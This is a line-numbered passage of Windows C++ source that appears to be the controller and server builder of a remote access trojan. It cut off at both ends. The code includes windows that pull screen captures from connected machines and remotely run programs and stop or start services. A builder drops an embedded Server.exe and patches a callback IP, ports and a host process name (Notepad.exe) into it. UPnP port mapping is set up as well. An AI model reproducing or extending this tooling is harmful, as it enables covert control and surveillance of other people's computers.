  5106.         GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5107.             break;
  5108.     case WM_PAINT:
  5109.             {
  5110.        
  5111.         GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5112.         Final =  ScreenA[atoi(WindowOut)];
  5113.         GetClientRect(hwnd, (LPRECT) &rc);
  5114.         if(Final == NULL) return -1;
  5115.         hdcScreen = GetDC(HWND_DESKTOP);
  5116.         hdcBackground = CreateCompatibleDC(hdcScreen);
  5117.         ndcBackground = SaveDC(hdcBackground);
  5118.         SelectObject(hdcBackground, Final);
  5119.         ReleaseDC(HWND_DESKTOP, hdcScreen);
  5120.             if(BeginPaint(hwnd, &ps))
  5121.             {/////////////////////////Screen1
  5122.                     // Create double buffer
  5123.                     hdcMem = CreateCompatibleDC(ps.hdc);
  5124.                     ndcMem = SaveDC(hdcMem);
  5125.                     hbmMem = CreateCompatibleBitmap(ps.hdc, rc.right - 20, rc.bottom - 10);
  5126.                     SelectObject(hdcMem, hbmMem);
  5127.                
  5128.                     // Copy background bitmap into double buffer
  5129.                     if(BitBlt(hdcMem, 0, 0, rc.right - 20, rc.bottom - 10, hdcBackground, 0, 0, SRCCOPY) == NULL)
  5130.                     {
  5131.                     //MessageBox(NULL, "failed", "FAILED", MB_OK);
  5132.                     }
  5133.                     //StretchBlt(ps.hdc, 0, 0, rc.right, rc.bottom - 10, hdcMem,  0, 0,  ID3, ID4, SRCCOPY);
  5134.                     //Copy double buffer to screen
  5135.                     if(BitBlt(ps.hdc, 0, 0, rc.right - 20, rc.bottom - 10, hdcMem, 0, 0, SRCCOPY) == NULL)
  5136.                     {
  5137.                     //  MessageBox(NULL, "failed Screen", "FAILED", MB_OK);
  5138.                      }
  5139.  
  5140.                     // Clean up
  5141.                     RestoreDC(hdcMem, ndcMem);
  5142.                     DeleteObject(hbmMem);
  5143.                     DeleteObject(Final);
  5144.                     DeleteDC(hdcMem);
  5145.                     DeleteDC(hdcScreen);
  5146.                     DeleteDC(hdc);
  5147.                     EndPaint(hwnd, &ps);
  5148.             }
  5149.             break;
  5150.             }
  5151.         case WM_SIZING:
  5152.              GetClientRect(hwnd, &rc);
  5153.              MoveWindow(GetDlgItem(hwnd, IDC_CHECK1),rc.right - 50,rc.bottom - 12,55, 13, TRUE);
  5154.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS),0,rc.bottom - 15,rc.right - 65, 10, TRUE);
  5155.              MoveWindow(GetDlgItem(hwnd, IDC_SLIDER1),rc.right - 18,0,20,rc.bottom - 25, TRUE);
  5156.              break;
  5157.  
  5158.     case WM_COMMAND:
  5159.         Select=LOWORD(wParam);
  5160.         switch(Select)
  5161.         {
  5162.         case IDCANCEL:
  5163.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5164.                     Head.ID = atoi(WindowOut);
  5165.                     Screen[Head.ID] = NULL;
  5166.                     EndDialog(hwnd,0);
  5167.                         EndDialog(Screen[atoi(WindowOut)], 0);
  5168.  
  5169.                     break;
  5170.         }
  5171.  
  5172. ////////////////////////////////////////////////////////////////////////////////
  5173.     default:
  5174.         return FALSE;
  5175.     }
  5176. return TRUE;
  5177. }
  5178.  
  5179. DWORD WINAPI ScreenWindow(LPVOID lpParam)
  5180. {
  5181.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  5182.     char WindowText [50] = "";
  5183.     char COMPUTER [50] = "";
  5184.     int LID = GID;
  5185.     RECT rc;
  5186.  
  5187.     strcpy(COMPUTER, WINDOWIP);
  5188.    
  5189.     HICON hIcon;
  5190.  
  5191.     Screen[LID]=CreateDialog(ScreenInst,(LPCTSTR)IDD_SCREEN,NULL,(DLGPROC)ScreenProc);
  5192.     ShowWindow(Screen[LID],SW_SHOW);
  5193.     ShowWindow(GetDlgItem(Screen[LID], IDC_ID),SW_HIDE);
  5194.     InitCommonControls();
  5195.  
  5196.     ZeroMemory(&WindowText[0],10);
  5197.     sprintf(&WindowText[0],"Screen View | %s", COMPUTER);
  5198.     sprintf(ID, "%d", LID);
  5199.    
  5200.     SetWindowText(Screen[LID], WindowText);
  5201.     SetWindowText(GetDlgItem(Screen[LID], IDC_ID), ID);
  5202.    
  5203.     GetClientRect(Screen[LID], (LPRECT) &rc);
  5204.     Head.PacketType = SCREEN_CAPTURE;
  5205.     Head.ID3 = SendMessage(GetDlgItem(Screen[LID], IDC_SLIDER1), TBM_GETPOS,NULL,NULL);
  5206.     Head.ID2 = rc.right - 25;
  5207.     sprintf(Head.IDS, "%d", rc.bottom - 10);
  5208.    
  5209.     Head.ID3 = SendMessage(GetDlgItem(Screen[LID], IDC_SLIDER1), TBM_GETPOS,NULL,NULL);
  5210.     SentKb+=send(Client[LID],(char*)&Head,HeadSize,0);
  5211.  
  5212.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  5213.     SendMessage(Screen[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  5214.     DeleteObject(hIcon);
  5215.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  5216.     SendMessage(Screen[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  5217.  
  5218.     MSG msg;
  5219.     while(GetMessage(&msg,Screen[LID],0,0)==TRUE)
  5220.     {
  5221.         TranslateMessage(&msg);
  5222.         DispatchMessage(&msg);
  5223.     }
  5224.  
  5225. return 0;
  5226. }
  5227. /////////////////////////////////////////////////////////////////////////////////////////////////
  5228. //Set Search
  5229. void SetSearch(char * Path, int ID)
  5230. {
  5231.     LV_ITEM item;
  5232.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  5233.     item.iItem= 0;
  5234.  
  5235.     item.iSubItem=0;
  5236.     item.pszText=Path;
  5237.     item.iItem=ListView_InsertItem(GetDlgItem(FileHwnd[ID],IDC_SEARCHLIST),&item);
  5238.  
  5239. }
  5240. /////////////////////////////////////////////////////////////////////////////////////////////////
  5241. //Apps manager
  5242. void SetProg(char * Prog, char * Path , int ID)
  5243. {
  5244.     LV_ITEM item;
  5245.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  5246.     item.iItem= 0;
  5247.  
  5248.     item.iSubItem=0;
  5249.     item.pszText=Prog;
  5250.     item.iImage = 10;
  5251.     item.iItem=ListView_InsertItem(GetDlgItem(ProgHwnd[ID],IDC_PROGS),&item);
  5252.    
  5253.     item.iSubItem=1;
  5254.     item.pszText=Path;
  5255.    
  5256.     ListView_SetItem(GetDlgItem(ProgHwnd[ID],IDC_PROGS),&item);
  5257.  
  5258. }
  5259. LRESULT CALLBACK ProgProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  5260. {
  5261.     int Select;
  5262.     char WindowOut  [10] = "";
  5263.     char WindowOutY [10] = "";
  5264.     char Title [50] = "";
  5265.     int I = 0;
  5266.     int FG = 0;
  5267.     LV_COLUMN   col;
  5268.     LV_ITEM     item;
  5269.     POINT  pt;   // location of mouse click
  5270.     HMENU hmenu;
  5271.     HMENU hmenuTrackPopup;
  5272.     RECT rc;
  5273.     TCITEM tie;
  5274. //  HGLOBAL hMem;
  5275. //  LPTSTR sMem;
  5276. switch(message)
  5277.     {
  5278. ////////////////////////////////////////////////////////////////////////////////
  5279.     case WM_INITDIALOG:
  5280.                
  5281.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  5282.     tie.pszText = "Program's";
  5283.    
  5284.     TabCtrl_InsertItem(GetDlgItem(hwnd, IDC_TAB4), 0, &tie);
  5285.  
  5286.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  5287.     tie.pszText = "Service's";
  5288.    
  5289.     TabCtrl_InsertItem(GetDlgItem(hwnd, IDC_TAB4), 1, &tie);
  5290.  
  5291.         ShowWindow(GetDlgItem(hwnd, IDC_SERVICES ),SW_HIDE);
  5292.  
  5293.              GetClientRect(hwnd, &rc);
  5294.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5295.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5296.  
  5297.  
  5298.         ListView_SetImageList(GetDlgItem(hwnd, IDC_PROGS),hImageList, LVSIL_SMALL);
  5299.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_PROGS),LVS_EX_FULLROWSELECT);
  5300.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  5301.  
  5302.         col.cx=120;
  5303.         col.pszText="Program";
  5304.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_PROGS),0,&col);
  5305.  
  5306.         col.cx=225;
  5307.         col.pszText="Install Path";
  5308.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_PROGS),1,&col);
  5309.  
  5310.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_SERVICES),LVS_EX_FULLROWSELECT);
  5311.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  5312.         col.cx=100;
  5313.  
  5314.         col.pszText="Service Name";
  5315.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),0,&col);
  5316.         col.cx=100;
  5317.  
  5318.         col.pszText="Display Name";
  5319.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),1,&col);
  5320.         col.cx=100;
  5321.  
  5322.         col.pszText="Status";
  5323.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),2,&col);
  5324.         col.cx=100;
  5325.        
  5326.         col.pszText="Startup";
  5327.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),3,&col);
  5328.         col.cx=100;
  5329.         ListView_SetImageList(GetDlgItem(hwnd, IDC_SERVICES),hImageList, LVSIL_SMALL);
  5330.         /////////////////////////////////////////////////////////////
  5331.  
  5332.     break;
  5333.  
  5334.         case WM_SIZING:
  5335.             switch(wParam)
  5336.             {
  5337.             case WMSZ_BOTTOM:
  5338.              GetClientRect(hwnd, &rc);
  5339.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5340.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5341.             break;
  5342.             case WMSZ_BOTTOMLEFT:
  5343.                              GetClientRect(hwnd, &rc);
  5344.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5345.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5346.             break;
  5347.             case WMSZ_BOTTOMRIGHT:
  5348.              GetClientRect(hwnd, &rc);
  5349.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5350.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5351.             break;
  5352.             case WMSZ_LEFT:
  5353.              GetClientRect(hwnd, &rc);
  5354.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5355.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5356.             break;
  5357.             case WMSZ_RIGHT:
  5358.              GetClientRect(hwnd, &rc);
  5359.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5360.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5361.             break;
  5362.             case WMSZ_TOP:
  5363.              GetClientRect(hwnd, &rc);
  5364.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5365.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5366.             break;
  5367.             case WMSZ_TOPLEFT:
  5368.              GetClientRect(hwnd, &rc);
  5369.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5370.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5371.             break;
  5372.             case WMSZ_TOPRIGHT:
  5373.              GetClientRect(hwnd, &rc);
  5374.              MoveWindow(GetDlgItem(hwnd, IDC_PROGS),0,30,rc.right, rc.bottom - 10, TRUE);
  5375.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,30,rc.right, rc.bottom - 10, TRUE);
  5376.             break;
  5377.             }
  5378.             break;
  5379.  
  5380. case WM_NOTIFY:
  5381.         switch(wParam)
  5382.         {
  5383.         case IDC_TAB4:
  5384.             switch (((LPNMHDR)lParam)->code)
  5385.             {
  5386.             case TCN_SELCHANGE:
  5387.                     int iPage = TabCtrl_GetCurSel(GetDlgItem(hwnd, IDC_TAB4));
  5388.                    switch(iPage)
  5389.                    {
  5390.                      case 0:
  5391.                     ShowWindow(GetDlgItem(hwnd, IDC_SERVICES ),SW_HIDE);
  5392.                     ShowWindow(GetDlgItem(hwnd, IDC_PROGS ),SW_SHOW);
  5393.                      break;
  5394.  
  5395.                      case 1:
  5396.                     ShowWindow(GetDlgItem(hwnd, IDC_PROGS ),SW_HIDE);
  5397.                     ShowWindow(GetDlgItem(hwnd, IDC_SERVICES ),SW_SHOW);
  5398.                     Head.PacketType = PACKET_SERVICE_MAN;
  5399.                    
  5400.                     if(ListView_GetItemCount(GetDlgItem(hwnd, IDC_SERVICES)) == 0)
  5401.                     {
  5402.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5403.                     Head.ID = atoi(WindowOut);
  5404.                     strcpy(Head.Data, "");
  5405.                     SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  5406.                     break;
  5407.                     }
  5408.  
  5409.                      break;
  5410.                      
  5411.                     }
  5412.                
  5413.                 break;
  5414.             }
  5415.         case IDC_PROGS:
  5416.  
  5417.            if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  5418.             {
  5419.                 GetClientRect(hwnd, (LPRECT) &rc);
  5420.  
  5421.             // Get the client coordinates for the mouse click.  
  5422.               GetCursorPos(&pt);
  5423.               pt.y += 10;
  5424.               pt.x += 10;
  5425.             // If the mouse click took place inside the client
  5426.             // area, execute the application-defined function
  5427.             // that displays the shortcut menu.
  5428.  
  5429.        
  5430.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU8));
  5431.  
  5432.                  if (hmenu == NULL)
  5433.                  {
  5434.                   break;
  5435.                  }
  5436.  
  5437.             // Get the first shortcut menu in the menu template. This is the
  5438.             // menu that TrackPopupMenu displays.
  5439.  
  5440.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  5441.  
  5442.               // TrackPopup uses screen coordinates, so convert the
  5443.              // coordinates of the mouse click to screen coordinates.
  5444.  
  5445.              //ClientToScreen(hWnd, (LPPOINT) &pt);
  5446.  
  5447.             // Draw and track the shortcut menu.  
  5448.  
  5449.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hwnd, NULL);
  5450.             }
  5451.             break;
  5452.         case IDC_SERVICES:
  5453.  if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  5454.             {
  5455.                 GetClientRect(hwnd, (LPRECT) &rc);
  5456.  
  5457.             // Get the client coordinates for the mouse click.  
  5458.               GetCursorPos(&pt);
  5459.               pt.y += 10;
  5460.               pt.x += 10;
  5461.             // If the mouse click took place inside the client
  5462.             // area, execute the application-defined function
  5463.             // that displays the shortcut menu.
  5464.  
  5465.        
  5466.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU10));
  5467.  
  5468.                  if (hmenu == NULL)
  5469.                  {
  5470.                   break;
  5471.                  }
  5472.  
  5473.             // Get the first shortcut menu in the menu template. This is the
  5474.             // menu that TrackPopupMenu displays.
  5475.  
  5476.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  5477.  
  5478.               // TrackPopup uses screen coordinates, so convert the
  5479.              // coordinates of the mouse click to screen coordinates.
  5480.  
  5481.              //ClientToScreen(hWnd, (LPPOINT) &pt);
  5482.  
  5483.             // Draw and track the shortcut menu.  
  5484.  
  5485.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hwnd, NULL);
  5486.             }
  5487.             break;
  5488.  
  5489. }
  5490.         break;
  5491.    
  5492.     case WM_COMMAND:
  5493.         Select=LOWORD(wParam);
  5494.         switch(Select)
  5495.         {
  5496.         case IDC_EXECUTE_PROG:
  5497.                 item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_TASKLIST),-1,LVNI_SELECTED);
  5498.                 item.mask=LVIF_TEXT;
  5499.                 item.iSubItem=1;
  5500.                 item.pszText=Head.Data;
  5501.                 item.cchTextMax=255;
  5502.                 ListView_GetItem(GetDlgItem(hwnd,IDC_PROGS),&item);
  5503.                 GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5504.                 Head.ID = atoi(WindowOut);
  5505.                                
  5506.                 Head.PacketType = EXECUTE;
  5507.                 SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  5508.             break;
  5509.         case IDC_REMOVE_PROG:
  5510.                
  5511.             break;
  5512.         case IDC_STOP_SERVICE:
  5513.                 item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_SERVICES),-1,LVNI_SELECTED);
  5514.                 item.mask=LVIF_TEXT;
  5515.                 item.iSubItem=0;
  5516.                 item.pszText=Head.Data;
  5517.                 item.cchTextMax=255;
  5518.                 ListView_GetItem(GetDlgItem(hwnd,IDC_PROGS),&item);
  5519.                
  5520.                 GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5521.                 Head.ID = atoi(WindowOut);
  5522.                                
  5523.                 Head.PacketType = PACKET_SERVICE_STOPA;
  5524.                 SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  5525.             break;
  5526.         case IDC_START_SERVICE:
  5527.                 item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_SERVICES),-1,LVNI_SELECTED);
  5528.                 item.mask=LVIF_TEXT;
  5529.                 item.iSubItem=0;
  5530.                 item.pszText=Head.Data;
  5531.                 item.cchTextMax=255;
  5532.                 ListView_GetItem(GetDlgItem(hwnd,IDC_SERVICES),&item);
  5533.  
  5534.                 GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5535.                 Head.ID = atoi(WindowOut);
  5536.                                
  5537.                 Head.PacketType = PACKET_SERVICE_STARTA;
  5538.                 SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  5539.             break;
  5540.         case IDCANCEL:
  5541.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5542.                     Head.ID = atoi(WindowOut);
  5543.                     ProgHwnd[Head.ID] = NULL;
  5544.                     EndDialog(hwnd,Select);
  5545.                     break;
  5546.         }
  5547.  
  5548. ////////////////////////////////////////////////////////////////////////////////
  5549.     default:
  5550.         return FALSE;
  5551.     }
  5552. return TRUE;
  5553. }
  5554.  
  5555. DWORD WINAPI AppsWindow(LPVOID lpParam)
  5556. {
  5557.     FileStruct * FILEWINDOW;
  5558.     FILEWINDOW = (FileStruct *) malloc(sizeof(FileStruct));
  5559.     FILEWINDOW = (FileStruct *)lpParam;
  5560.     char WindowText [50] = "";
  5561.     char COMPUTER [50] = "";
  5562.     char ID       [10] = "";
  5563.     int LID = GID;
  5564.     HICON hIcon;
  5565.  
  5566.     strcpy(COMPUTER, WINDOWIP);
  5567.  
  5568.     ProgHwnd[LID]=CreateDialog(ProgInst,(LPCTSTR)IDD_INSTALLEDPROGS,NULL,(DLGPROC)ProgProc);
  5569.     ShowWindow(ProgHwnd[LID],SW_SHOW);
  5570.     ShowWindow(GetDlgItem(ProgHwnd[LID], IDC_ID),SW_HIDE);
  5571.     InitCommonControls();
  5572.  
  5573.     ZeroMemory(&WindowText[0],10);
  5574.     sprintf(&WindowText[0],"System Manager | %s", COMPUTER);
  5575.     sprintf(ID, "%d", LID);
  5576.    
  5577.     SetWindowText(ProgHwnd[LID], WindowText);
  5578.     SetWindowText(GetDlgItem(ProgHwnd[LID], IDC_ID), ID);
  5579.     Head.PacketType = PACKET_PROGRAM_FILES;
  5580.     Head.ID = LID;
  5581.     strcpy(Head.Data, "");
  5582.     SentKb+=send(Client[LID],(char*)&Head,HeadSize,0);
  5583.  
  5584.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  5585.     SendMessage(ProgHwnd[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  5586.     DeleteObject(hIcon);
  5587.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  5588.     SendMessage(ProgHwnd[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  5589.  
  5590.     MSG msg;
  5591.     free(FILEWINDOW);
  5592.     while(GetMessage(&msg,ProgHwnd[LID],0,0)==TRUE)
  5593.     {
  5594.         TranslateMessage(&msg);
  5595.         DispatchMessage(&msg);
  5596.     }
  5597. return 0;
  5598. }
  5599. /////////////////////////////////////////////////////////////////////////////////////////////////
  5600. //Edit Server
  5601. BOOL ReleaseResource(HMODULE hModule, WORD wResourceID, LPCTSTR lpType, char * Name)
  5602. {
  5603.     HGLOBAL hRes;
  5604.     HRSRC hResInfo;
  5605.     HANDLE hFile;
  5606.     DWORD dwBytes;
  5607.     HANDLE hProcess;
  5608.  
  5609.     char    strTmpPath[MAX_PATH];
  5610.     char    strBinPath[MAX_PATH];
  5611.    
  5612.     strcpy(strBinPath, Name);
  5613.  
  5614.     //ssageBox(NULL, strBinPath, "strBinPath", MB_OK);
  5615.    
  5616.     hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
  5617.     if (hResInfo == NULL)
  5618.     {
  5619.         MessageBox(NULL, "Failed", "FindResource", MB_OK);
  5620.         return FALSE;
  5621.     }
  5622.    
  5623.     hRes = LoadResource(hModule, hResInfo);
  5624.     if (hRes == NULL)
  5625.     {
  5626.         MessageBox(NULL, "Failed", "LoadResource", MB_OK);
  5627.         return FALSE;
  5628.     }
  5629.     hFile = CreateFile
  5630.         (strBinPath,
  5631.         GENERIC_WRITE,
  5632.         FILE_SHARE_WRITE,
  5633.         NULL,
  5634.         CREATE_ALWAYS,
  5635.         FILE_ATTRIBUTE_NORMAL,
  5636.         NULL
  5637.         );
  5638.    
  5639.     if (hFile == NULL)
  5640.     {
  5641.         MessageBox(NULL, "Failed", "CreateFile", MB_OK);
  5642.         return FALSE;
  5643.     }
  5644.     WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
  5645.     //essageBox(NULL, strBinPath, "Buffer", MB_OK);
  5646.     CloseHandle(hFile);
  5647.     FreeResource(hRes);
  5648.     return TRUE;
  5649. }
  5650. #define BYTE_OFFSET_IP      0x00007780 //offset of our Buffer.
  5651. #define BYTE_OFFSET_PORT    0X00007810 //offset of our Buffer.
  5652. #define BYTE_OFFSET_PORTA   0X0000781C //offset of our Buffer.
  5653. #define BYTE_OFFSET_PROC    0x00006094 //offset of our Buffer.
  5654.  
  5655. LRESULT CALLBACK EditProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  5656. {
  5657.     int Select;
  5658.     char IP_ [30] = "127.0.0.1";
  5659.     char PORT_ [15] = "1000";
  5660.     char PORTA_ [15] = "1001";
  5661.     char Process [15] = "Notepad.exe";
  5662.     char Name [30] = "Server.exe";
  5663.     DWORD ret=0;
  5664.     HANDLE hFile;
  5665.     switch(message)
  5666.     {
  5667. ////////////////////////////////////////////////////////////////////////////////
  5668.     case WM_INITDIALOG:          
  5669.         SetWindowText(GetDlgItem(hwnd, IDC_IP), IP_);
  5670.         SetWindowText(GetDlgItem(hwnd, IDC_MAINPORT), PORT_);
  5671.         SetWindowText(GetDlgItem(hwnd, IDC_FILEPORT), PORTA_);
  5672.         SetWindowText(GetDlgItem(hwnd, IDC_PROCESS), Process);
  5673.         SetWindowText(GetDlgItem(hwnd, IDC_NAME), Name);
  5674.  
  5675.             break;
  5676.     case WM_COMMAND:
  5677.         Select=LOWORD(wParam);
  5678.         switch(Select)
  5679.         {
  5680.         case IDC_BUILD:
  5681.         GetWindowText(GetDlgItem(hwnd, IDC_IP), IP_, 30);
  5682.         GetWindowText(GetDlgItem(hwnd, IDC_MAINPORT), PORT_, 15);
  5683.         GetWindowText(GetDlgItem(hwnd, IDC_FILEPORT), PORTA_, 15);
  5684.         GetWindowText(GetDlgItem(hwnd, IDC_PROCESS), Process, 15);
  5685.         GetWindowText(GetDlgItem(hwnd, IDC_NAME), Name, 30);
  5686.         ReleaseResource(NULL, IDR_EXE, "BINARY", Name);
  5687. // open Server.exe for editing
  5688.         hFile = CreateFile(Name, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  5689.  
  5690.         if(hFile == INVALID_HANDLE_VALUE)
  5691.         {
  5692.         MessageBox(NULL, "Failed to open", "Failed", MB_OK);
  5693.         return -0;
  5694.         }
  5695.  
  5696.  
  5697.  
  5698.         SetFilePointer(hFile, BYTE_OFFSET_IP, NULL, FILE_BEGIN); /* set the file pointer to the start of our buffer that we want to edit*/
  5699.         WriteFile(hFile, IP_, sizeof("xxxx256.256.256.256xxxx"), &ret, NULL); /* overwrite our buffer(char IP) with the buffer(IP) the user enter'd*/
  5700.  
  5701.         ret=0;
  5702.         SetFilePointer(hFile, BYTE_OFFSET_PORT, NULL, FILE_BEGIN); /* set the file pointer to the start of our buffer that we want to edit*/
  5703.         WriteFile(hFile, PORT_, sizeof("$$$$$$$$"), &ret, NULL); /* overwrite our buffer(char IP) with the buffer(IP) the user enter'd*/
  5704.  
  5705.         ret=0;
  5706.         SetFilePointer(hFile, BYTE_OFFSET_PORTA, NULL, FILE_BEGIN); /* set the file pointer to the start of our buffer that we want to edit*/
  5707.         WriteFile(hFile, PORTA_, sizeof("$$$$$$$$"), &ret, NULL); /* overwrite our buffer(char IP) with the buffer(IP) the user enter'd*/
  5708.  
  5709.         ret=0;
  5710.         SetFilePointer(hFile, BYTE_OFFSET_PROC, NULL, FILE_BEGIN); /* set the file pointer to the start of our buffer that we want to edit*/
  5711.         WriteFile(hFile, Process, sizeof("xxxxxxxxxxxxxxxxxxxxx"), &ret, NULL); /* overwrite our buffer(char IP) with the buffer(IP) the user enter'd*/
  5712.        
  5713.         CloseHandle(hFile);
  5714.         break;
  5715.        
  5716.         case IDCANCEL:
  5717.                     EndDialog(hwnd,Select);
  5718.                     break;
  5719.         }
  5720.  
  5721. ////////////////////////////////////////////////////////////////////////////////
  5722.     default:
  5723.         return FALSE;
  5724.     }
  5725. return TRUE;
  5726. }
  5727.  
  5728. /////////////////////////////////////////////////////////////////////////////////////////////////
  5729. //main callback
  5730. FILE * Logs[1024];
  5731.  
  5732. LRESULT CALLBACK MainProc(HWND Dlg,UINT message,WPARAM wParam,LPARAM lParam)
  5733. {
  5734.    
  5735.     char userra[7]="Users\\";
  5736.     char namree [80];
  5737.     char namreee[91]="Users\\";
  5738.     char namreeee[191];
  5739.     char namreeeee[291];
  5740.     int         Select;
  5741.     int         Bytes_recv = 0;
  5742.     int         W = 0;
  5743.     int         i=0;
  5744.     LV_COLUMN   col;
  5745.     LV_ITEM     item;
  5746.     char        Buffer [1024] = "";
  5747.     int Pos = 0;
  5748.     HANDLE hFile;
  5749.     BOOL bSuccess = FALSE;
  5750.     LPSTR pszFileText;
  5751.     HWND Status = 0;
  5752. //    HWND Shell;
  5753.     HWND hEdit;
  5754. //  COLORREF Col;
  5755.     int ndx;
  5756. //  int dx;
  5757. //  HWND hCmd;
  5758.     HwND = Dlg;
  5759.     HMENU hmenu;            // menu template          
  5760.     HMENU hmenuTrackPopup;  // shortcut menu  
  5761.     POINT  pt;   // location of mouse click  
  5762.     LVBKIMAGE IBBkImg;
  5763.     CHARFORMAT cf;
  5764.     RECT rc;
  5765. //  SCROLLINFO si;
  5766. //    SIZE sz;
  5767. //  INITCOMMONCONTROLSEX ex;
  5768.     int NumberF;
  5769.  
  5770.     char Number [20] = "";
  5771.     char filename [50] = "";
  5772.     char IPBUFFER [50] = "";
  5773.     char FINALIPBUFFER [50] = "";
  5774.     HICON hIcon;
  5775.     FileStruct Window;
  5776.     int statwidths[] = {160, 300, 500 ,-1};
  5777.     TCITEM tie;
  5778.     UPNPNAT nat;
  5779.     nat.init(5,10);
  5780.     char PORTA [12] = "";
  5781.     char PORTB [12] = "";
  5782.  
  5783.       WORD wVersionRequested;
  5784.       WSADATA wsaData;
  5785.       char name[255];
  5786.       char * ip = "";
  5787.       char * ServiceName = "";
  5788.       PHOSTENT hostinfo;
  5789.       wVersionRequested = MAKEWORD( 2, 0 );
  5790.  
  5791.          CHOOSECOLOR cc;
  5792.             DWORD dwColors[ 16 ];
  5793.     switch(message)
  5794.     {
  5795. ////////////////////////////////////////////////////////////////////////////////
  5796.     case WM_INITDIALOG:        
  5797.       if ( WSAStartup( wVersionRequested, &wsaData ) == 0 )
  5798.       {
  5799.  
  5800.             if( gethostname ( name, sizeof(name)) == 0)
  5801.             {
